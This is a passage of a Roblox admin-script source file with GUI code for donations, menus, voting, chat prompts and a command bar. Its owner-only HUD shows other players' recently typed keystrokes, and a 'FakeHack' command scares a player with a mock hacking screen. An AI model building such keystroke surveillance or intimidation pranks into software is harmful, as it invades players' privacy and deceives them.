4521 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("20R", Dnt) end) SOUND:BindButton(Dnt)
4522 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("100R", Dnt) end) SOUND:BindButton(Dnt)
4523 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("500R", Dnt) end) SOUND:BindButton(Dnt)
4524 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4525
4526 if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
4527
4528 if Closed then
4529 Closed.Event:connect(function()
4530 Open = false
4531 end)
4532 end
4533 else
4534 CloseForm:Invoke()
4535 end
4536 end) end)()
4537 if RANK:GetRank(Player) == "Owner" then
4538 local HUDButton = Instance.new("ImageButton", TaskBar) HUDButton.Name = "HUDButton" HUDButton.Position = UDim2.new(1, -50, 0, -170) HUDButton.Size = UDim2.new(0, 50, 0, 50) HUDButton.BackgroundTransparency = 1 HUDButton.Image = "rbxassetid://329362761"
4539 CORE:HandleEvent(HUDButton, "MouseButton1Click", function()
4540 local HUDSG = Player.PlayerGui:FindFirstChild("M".."a".."k".."e".."r".."m".."od".."elLu".."a's HUD Gui")
4541 if HUDSG then
4542 HUDSG:Destroy()
4543 else
4544 GUI:CreateHUD(Player)
4545 end
4546 end)
4547 end
4548 end
4549
4550 CORE:HandleEvent(TaskButton, "MouseButton1Click", function()
4551 if IsMoving == false then
4552 if TaskBarShown == true then
4553 TaskBarShown = false
4554 IsMoving = true
4555 TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end)
4556 else
4557 TaskBarShown = true
4558 IsMoving = true
4559 TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end)
4560 end
4561 end
4562 end)
4563
4564 local function ReloadIcons()
4565 for Num,Data in pairs(Tasks) do
4566 Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0)
4567 end
4568 end
4569
4570 AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore)
4571 local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID
4572 table.insert(Tasks, {Form, Icon})
4573 local CanClick = true
4574 CORE:HandleEvent(Icon, "MouseButton1Down", function()
4575 if Form.IsActive.Value == false then
4576 Restore:Invoke()
4577 elseif CanClick == true then
4578 coroutine.wrap(function()
4579 CanClick = false
4580 local DefPos = Form.Dragger.Position
4581 for i = 1,15 do
4582 Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2))
4583 wait(0.05)
4584 end
4585 Form.Dragger.Position = DefPos
4586 CanClick = true
4587 end)()
4588 end
4589 end)
4590 ReloadIcons()
4591
4592 Closed.Event:connect(function()
4593 for Num,Data in pairs(Tasks) do
4594 if Data[1] == Form then
4595 Icon:Destroy()
4596 table.remove(Tasks, Num)
4597 end
4598 end
4599 ReloadIcons()
4600 end)
4601 end)
4602end
4603
4604function GUI:ShowDebtStats(Player, ManualText)
4605 local Text = ManualText
4606 if not ManualText then
4607 Text = "CANNOT GET STATISTICS"
4608 local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates")
4609 if RawPage then
4610 local _,GetStart = string.find(RawPage, 'debtDisplayFast">')
4611 local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '</span>')
4612 Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2))
4613 end
4614 end
4615
4616 local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945)
4617 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true
4618
4619 return Text
4620end
4621
4622function GUI:ShowCommand(Player, CommandTrigger, Dialog)
4623 if not Player then return nil end
4624 if not CommandTrigger then return nil end
4625
4626 if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end
4627
4628 local CommandKey = CommandTrigger
4629
4630 if not Commands[CommandKey] then
4631 for CommandNames,_ in pairs(Commands) do
4632 for _,CommandName in pairs(CommandNames) do
4633 if CommandName == CommandKey then
4634 CommandKey = CommandNames
4635 end
4636 end
4637 end
4638 end
4639
4640 local CommandData = Commands[CommandKey]
4641
4642 local BodyText = "No valid command has been entered"
4643 local TitleText = "Error"
4644 local CanExe = false
4645 if CommandData then
4646 if Dialog then
4647 Dialog:Invoke(true)
4648 end
4649 local PlayerRank = RANK:GetRank(Player)
4650 if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end
4651 if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end
4652
4653 TitleText = "Command: "..CommandKey[1]
4654 BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[
4655
4656
4657Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[
4658
4659
4660Description: ]]..CommandData[2]..[[
4661
4662
4663Arguments: ]]..CommandData[3]..[[
4664
4665
4666Minimum rank needed: ]]..CommandData[4]..[[
4667
4668
4669Fun command: ]]..STRING:BoolString(CommandData[5])..[[
4670
4671
4672Abusable command: ]]..STRING:BoolString(CommandData.Abusable)..[[
4673
4674
4675Http Command ]]..STRING:BoolString(CommandData.Http)
4676 end
4677
4678 _, _, Closed, _, Minimized = GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe)
4679 if Dialog then
4680 Closed.Event:connect(function() Dialog:Invoke(false) end)
4681 Minimized.Event:connect(function() Dialog:Invoke(false) end)
4682 end
4683end
4684
4685function GUI:CreateHUD(Speaker)
4686 if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end
4687
4688 local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui")
4689 if SG then SG:Destroy() end
4690 SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui"
4691
4692 local function AddHUD(Player, Char)
4693 if not Char or not Char:FindFirstChild("Head") then return nil end
4694
4695 local Rank = RANK:GetRank(Player)
4696 local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0)
4697 local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1
4698 local InfoLabel = Instance.new("TextLabel", PlayerHUD) InfoLabel.Name = "InfoLabel" InfoLabel.Position = UDim2.new(1, -1, 0, 0) InfoLabel.Size = UDim2.new(7, 0, 0.8, 0) InfoLabel.BackgroundColor3 = Color3.new(1, 1, 1) InfoLabel.BackgroundTransparency = 1 InfoLabel.Text = "" InfoLabel.Font = "Arial" InfoLabel.TextScaled = true InfoLabel.TextStrokeTransparency = 0.9 InfoLabel.TextWrapped = true InfoLabel.TextXAlignment = "Left" InfoLabel.TextYAlignment = "Top" InfoLabel.TextColor3 = Color3.new(0, 0, 0) InfoLabel.TextStrokeColor3 = Color3.new(1, 1, 1)
4699 local KeyLabel = Instance.new("TextLabel", PlayerHUD) KeyLabel.Name = "KeyLabel" KeyLabel.Position = UDim2.new(-1, 1, -1, 0) KeyLabel.Size = UDim2.new(1, 0, 3, 0) KeyLabel.BackgroundColor3 = Color3.new(1, 1, 1) KeyLabel.BackgroundTransparency = 1 KeyLabel.Text = "" KeyLabel.Font = "Arial" KeyLabel.FontSize = "Size14" KeyLabel.TextScaled = true KeyLabel.TextStrokeTransparency = 0.9 KeyLabel.TextWrapped = true KeyLabel.TextXAlignment = "Right" KeyLabel.TextYAlignment = "Top" KeyLabel.TextColor3 = Color3.new(1, 1, 1)
4700 local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1)
4701 coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do
4702 InfoLabel.Text = "Name: "..Player.Name..[[
4703Rank: ]]..RANK:GetRank(Player)..[[
4704Age: ]]..STRING:FindAge(Player.AccountAge)
4705 if Speaker.Character and Speaker.Character:FindFirstChild("Head") then
4706 InfoLabel.Text = InfoLabel.Text..[[
4707Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude)
4708 end
4709 if LastKeys[Player.UserId] then
4710 local Keys = ""
4711 local KeyLog = {}
4712 for _,KeyData in pairs(LastKeys[Player.UserId]) do
4713 table.insert(KeyLog, KeyData[1])
4714 if KeyData[2] == 8 then
4715 Keys = string.sub(Keys, 1, #Keys - 1)
4716 elseif KeyData[2] == 13 then
4717 Keys = Keys.." "
4718 else
4719 Keys = Keys..string.char(KeyData[2])
4720 end
4721 end
4722 KeyLabel.Text = table.concat(KeyLog, "\n")
4723 KeyOutput.Text = Keys
4724 end
4725 HUD.Image = "rbxassetid://"..RankHUD[Rank]
4726 end end)()
4727
4728 local CharRev,Removing = nil,nil
4729 CharRev = Player.CharacterRemoving:connect(function()
4730 PlayerHUD:Destroy()
4731 CharRev:disconnect()
4732 Removing:disconnect()
4733 end)
4734 Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then
4735 PlayerHUD:Destroy()
4736 CharRev:disconnect()
4737 Removing:disconnect()
4738 end end)
4739 end
4740
4741 local function ConnectHUD(Player)
4742 if Player ~= Speaker then
4743 if Player.Character then
4744 AddHUD(Player, Player.Character)
4745 end
4746
4747 Player.CharacterAdded:connect(function(Char)
4748 if Speaker then
4749 AddHUD(Player, Char)
4750 else return nil
4751 end
4752 end)
4753 end
4754 end
4755
4756 for _,Player in pairs(Server.Players:GetPlayers()) do
4757 ConnectHUD(Player)
4758 end
4759
4760 Server.Players.PlayerAdded:connect(ConnectHUD)
4761end
4762
4763function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents)
4764 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4765 local Stopped = false
4766
4767 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID)
4768 Frame.Size = UDim2.new(1, 0, 1, -30)
4769 Frame.CanvasSize = UDim2.new(0, 0 ,0 ,0)
4770
4771 local FakeCB = Instance.new("TextButton", Frame.Parent) FakeCB.Name = "FakeChatBox" FakeCB.Position = UDim2.new(0, 0, 1, -30) FakeCB.Size = UDim2.new(1, -50, 0, 30) FakeCB.BackgroundTransparency = 1 FakeCB.Text = "Click here or press the '-' key" FakeCB.Font = Settings.Font FakeCB.FontSize = "Size18" FakeCB.TextXAlignment = "Left" FakeCB.ZIndex = 2
4772 local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundTransparency = 0.5 ChatBox.BackgroundColor3 = GUI:GetColor() ChatBox.Text = "" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false
4773 local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = GUI:GetColor() Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14"
4774
4775 local function AddLine(Speaker, MessageText, MessageColor)
4776 MessageText = STRING:DetermineFilter(MessageText, Speaker, Player)
4777 if MessageColor == true then MessageColor = Color3.new(1,0,0) end
4778 if not MessageColor then MessageColor = GUI:ContrastColor() end
4779 local Bounds = Instance.new("Frame") Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 20) Bounds.BackgroundTransparency = 1
4780 local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color
4781 local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor
4782 Bounds.Parent = Frame
4783 end
4784
4785 local RPR = CORE:CreateRemotePropertyReader(ChatBox)
4786
4787 local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions"
4788 local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed"
4789 local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage"
4790
4791 local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed"
4792 local ClearCB = Instance.new("RemoteFunction", ChatBox) ClearCB.Name = "ClearCB"
4793
4794 CORE:ExecuteResource("MessagePromptHandler", Frame)
4795
4796 wait(0.1)
4797
4798 if PreAdd then
4799 for Num,Add in pairs(PreAdd) do
4800 AddLine(Add[1], Add[2], Add[3])
4801 end
4802 end
4803
4804 --[[
4805 CORE:ExecuteResource("ChatBoxLocal", ChatBox)
4806
4807 CORE:HandleEvent(ChatBox, "MouseEnter", function()
4808 if ChatBox.Text == "Click here or press the '-' key" then
4809 ChatBox.Text = ""
4810 end
4811 end)
4812 ]]
4813
4814 local function FireSendPressed()
4815 local Text = CORE:ReadProperty(RPR, Player, "Text")
4816 if Text ~= "" and Text ~= "Click here or press the '-' key" then
4817 SendPressed:Fire(Text)
4818 FakeCB.Visible = true
4819 ClearCB:InvokeClient(Player)
4820 end
4821 end
4822
4823 Closed.Event:connect(function()
4824 if Stopped == false then
4825 Stopped = true
4826 if SpeakerEvents then SpeakerEvents("Leave") end
4827 end
4828 end)
4829
4830 CORE:HandleEvent(Send, "MouseButton1Down", FireSendPressed)
4831 EnterPressed.OnServerInvoke = FireSendPressed
4832 AddMessage.OnInvoke = AddLine
4833
4834 if SpeakerEvents then
4835 SpeakerEvents("Join")
4836
4837 coroutine.wrap(function()
4838 repeat wait() until not Frame or not Frame.Parent
4839 if Stopped == false then
4840 Stopped = true
4841 SpeakerEvents("Leave")
4842 end
4843 end)()
4844 end
4845
4846 return SendPressed, AddMessage
4847end
4848
4849function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons, DontFilter)
4850 if tonumber(Time) then ShowFormButtons = false end
4851 if not DontFilter then BodyText = STRING:DetermineFilter(BodyText, Player) end
4852 local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons)
4853 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor()
4854 local Clicked = nil
4855 local Alive = true
4856
4857 local function ClosePrompt(ButtonName)
4858 Alive = false
4859 Close:Invoke()
4860 Clicked = ButtonName
4861 end
4862
4863 for Num,Select in pairs(Buttons) do
4864 local Name = Select
4865 local Style = "White"
4866 local TextColor3 = Color3.new(0,0,0)
4867 if type(Select) == "table" then
4868 Name = Select[1]
4869 if Select[2] then Style = Select[2] end
4870 if Select[3] then TextColor3 = Select[3] end
4871 elseif type(Select) == "string" then
4872 local Case = string.lower(Select)
4873 if Case == "ok" then
4874 Name = "Ok"
4875 Style = "Primary"
4876 TextColor3 = Color3.new(1,1,1)
4877 elseif Case == "yes" then
4878 Name = "Yes"
4879 Style = "Gray"
4880 TextColor3 = Color3.new(0,1,0)
4881 elseif Case == "no" then
4882 Name = "No"
4883 Style = "Red"
4884 TextColor3 = Color3.new(1,0,0)
4885 end
4886 end
4887
4888 if Style == "None" then Style = "Custom" end
4889 if Style == "Casual" then Style = "RobloxButton" end
4890 if Style == "Red" then Style = "RobloxButtonDefault" end
4891 if Style == "Gray" then Style = "RobloxRoundButton" end
4892 if Style == "Primary" then Style = "RobloxRoundDefaultButton" end
4893 if Style == "White" then Style = "RobloxRoundDropdownButton" end
4894
4895 local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style
4896 CORE:HandleEvent(Button, "MouseButton1Down", function() ClosePrompt(Name) end)
4897 SOUND:BindButton(Button)
4898 end
4899
4900 if tonumber(Time) then
4901 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4902 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4903 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4904
4905 for i = Time,0,-1 do
4906 for ii = 1,10 do
4907 if Alive == true then
4908 Ticker.Text = i
4909 wait(0.1)
4910 else
4911 break
4912 end
4913 end
4914 end
4915 if Alive == true then
4916 ClosePrompt()
4917 end
4918 end
4919
4920 repeat wait() until Alive == false
4921 return Clicked
4922end
4923
4924function GUI:Vote(Speaker, Players, Text, Time)
4925 if not Players or not Text or #Players <= 0 then return end
4926
4927 local Votes = {}
4928 local Tick = 0
4929
4930 for _,Player in pairs(Players) do
4931 local FilterText = STRING:DetermineFilter(Text, Speaker, Player)
4932 local CanVote = true
4933 if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end
4934 if CanVote == true then
4935 coroutine.wrap(function()
4936 local Answer = GUI:PromptMessageWithButtons(Player, "Vote", FilterText, 34730262, {"Yes", "No"}, Time, false, true)
4937 if Answer == nil then Answer = "Unknown" end
4938 table.insert(Votes, Answer)
4939 end)()
4940 end
4941 end
4942 repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time
4943 wait(2)
4944 if Speaker and Speaker:FindFirstChild("PlayerGui") then
4945 local Total = #Players
4946 local Yes,No,Unknown = 0,0,0
4947 for _,Vote in pairs(Votes) do
4948 if Vote == "Yes" then Yes = Yes + 1
4949 elseif Vote == "No" then No = No + 1
4950 end
4951 end
4952 Unknown = #Players - #Votes
4953
4954 local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863)
4955 local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..STRING:DetermineFilter(Text, Speaker) QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor()
4956 local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes:
4957]]..Yes.."/"..Total..[[
4958]]..math.ceil((Yes/Total)*100).."% "
4959 local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No:
4960]]..No.."/"..Total..[[
4961]]..math.ceil((No/Total)*100).."% "
4962 local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote:
4963]]..Unknown.."/"..Total..[[
4964]]..math.ceil((Unknown/Total)*100).."% "
4965 end
4966end
4967
4968--GUI:Vote(game.Players.Player1, {game.Players.Player1}, "fuck me", 30)
4969
4970function GUI:LoadGui(Player, Text, InfoText)
4971 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4972 local Dead = false
4973
4974 local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false)
4975 local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319"
4976 local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left"
4977 local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom"
4978 if InfoText then Info.Text = InfoText end
4979
4980 local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui"
4981 local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo"
4982
4983 CloseGui.OnInvoke = function()
4984 Close:Invoke()
4985 Dead = true
4986 end
4987 AddInfo.OnInvoke = function(AddText)
4988 Info.Text = AddText
4989 end
4990
4991 coroutine.wrap(function()
4992 for i = 0,math.huge,3 do
4993 if Dead == false and Frame then
4994 WaitIcon.Rotation = i
4995 wait()
4996 else
4997 break
4998 end
4999 end
5000 end)()
5001
5002 coroutine.wrap(function()
5003 while Dead == false and Frame do
5004 wait(0.5)
5005 LoadLabel.Text = Text.."."
5006 wait(0.5)
5007 LoadLabel.Text = Text..".."
5008 wait(0.5)
5009 LoadLabel.Text = Text.."..."
5010 wait(0.5)
5011 LoadLabel.Text = Text..".."
5012 wait(0.5)
5013 LoadLabel.Text = Text.."."
5014 wait(0.5)
5015 LoadLabel.Text = Text
5016 end
5017 end)()
5018
5019 wait(1)
5020
5021 return CloseGui, AddInfo
5022end
5023
5024function GUI:FakeHack(Player) coroutine.wrap(function()
5025 if not Player or not Player:FindFirstChild("PlayerGui") then return end
5026 local FakeText = [[
5027>SHELL: BEGIN
5028>RUNCODE:
5029return {
5030 local Hack = {"Account", "Tix", "Robux"};
5031 function Start(Type, Inject, Scan)
5032 if not Inject then Inject = "In-Game" end
5033 return {Type, Inject, Scan}
5034 end
5035 for Exe,Exploit in pairs(Hack) do
5036 local IP = Start("In-Game",Exploit,
5037 BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
5038 {"LOCAL-IP", "SERVER-IP", "HOST-IP"}
5039 )
5040 Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
5041 for i = 1,#Injection[2] do
5042 Log("PlayerData", "ConnectHost", "PLAYERNAME")
5043 end
5044 local PlayerProxy = newproxy(true)
5045 setmetatable(PlayerProxy,Injection[3],{
5046 __index = function(StealData, ...) local Data = unpack(...)
5047 return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
5048 end;
5049 })
5050 end
5051 Log("HACKED HOST: PLAYERNAME")
5052}
5053>HACKED HOST: PLAYERNAME
5054
5055]]
5056 local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui")
5057 if SG then SG:Destroy() end
5058 SG = Instance.new("ScreenGui", Player.PlayerGui)
5059 SG.Name = "MML Hack Gui"
5060 local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
5061 local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 CORE:HandleEvent(X, "MouseButton1Click", function() SG:Destroy() end)
5062 local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true HT.Font = "Code"
5063 for i = 1,#FakeText do
5064 HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
5065 if math.random(1,5) == 1 then
5066 wait()
5067 end
5068 end
5069 HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
5070 wait(3)
5071 HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a
5072fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]]
5073 X.Visible = true
5074end)() end
5075
5076function GUI:CommandBar(Player)
5077 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5078
5079 local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true)
5080 local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false
5081 local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor()
5082 local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0)
5083
